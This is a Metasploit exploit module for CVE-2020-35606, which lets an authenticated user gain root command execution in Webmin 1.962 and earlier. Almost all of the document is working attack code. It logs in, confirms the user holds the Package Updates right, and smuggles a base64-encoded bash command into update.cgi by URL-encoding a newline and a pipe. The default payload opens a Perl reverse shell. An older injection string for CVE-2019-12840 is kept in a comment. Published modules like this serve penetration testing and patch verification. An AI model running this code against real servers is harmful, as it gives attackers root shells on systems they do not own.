# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.962 - Package Update Escape Bypass RCE
(Metasploit)',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability
in Webmin
1.962 and lower versions. Any user authorized to the "Package
Updates"
module can execute arbitrary commands with root privileges.
It emerged by circumventing the measure taken for
CVE-2019-12840.
s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
Therefore, since the package name variable is placed directly in
the system command,
we can manipulate it using some escape characters that HTTP
supports.
For example, we can escape control by dropping the command line
down one line.
We can do this with "%0A" and "%0C" urlencoded row values.Also, for
paylad to work correctly,
we must add double an ampersand(&&) to the end of the
payload (%26%26)
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF
PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2020-35606'],
['URL',
'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.962', {}]],
'DisclosureDate' => '2020-12-21',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin
application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No
cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
if res && res.code == 302 && res.get_cookies =~
/sid=(\w+)/
return $1
end
return nil unless res
''
end
def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?
vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})
if res && res.code == 302 && res.body
version = res.body.split("Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "962"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})
if res && res.code == 200 && res.body =~ /Software
Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to
>>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to
>>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end
def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session
cookie')
end
print_good("Session cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc',
'index_tree.cgi'),
'headers' => { 'Referer' =>
"#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end
print_status("Attempting to execute the payload...")
run_update(cookie)
end
def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" +
'}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates',
'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
# new vector // bypass to backslash %0A%7C{}%26%26
'data' =>
"redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
# for CVE-2019-12840 #'data' =>
"u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end

